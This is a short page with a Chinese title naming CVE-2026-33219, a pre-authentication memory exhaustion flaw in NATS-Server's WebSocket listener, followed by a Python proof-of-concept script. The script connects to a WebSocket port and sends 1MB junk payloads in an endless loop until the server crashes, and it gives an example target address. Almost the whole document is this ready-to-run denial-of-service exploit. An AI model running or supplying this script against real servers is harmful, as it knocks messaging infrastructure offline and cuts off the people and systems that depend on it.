CVE-2026-33219 NATS-Server WebSockets内存耗尽漏洞

import asyncio import websockets async def exploit_memory_exhaustion(uri): """ PoC for CVE-2026-33219 Connects to NATS WebSocket port and sends large amounts of data to trigger unbounded memory use before authentication. """ try: # Connect to the target WebSocket port (default 8080 or 4222 depending on config) async with websockets.connect(uri) as websocket: print(f"[+] Connected to {uri}") # Create a large payload to consume memory # Note: Actual exploitation requires sustained data transmission payload = "A" * 1024 * 1024 # 1MB chunk counter = 0 while True: try: await websocket.send(payload) counter += 1 if counter % 10 == 0: print(f"[+] Sent {counter} MB of data...") except Exception as e: print(f"[-] Connection error or server crashed: {e}") break except Exception as e: print(f"[-] Failed to connect: {e}") # Target URI needs to be the WebSocket monitor/listener port # Example: asyncio.run(exploit_memory_exhaustion("ws://192.168.1.100:8080"))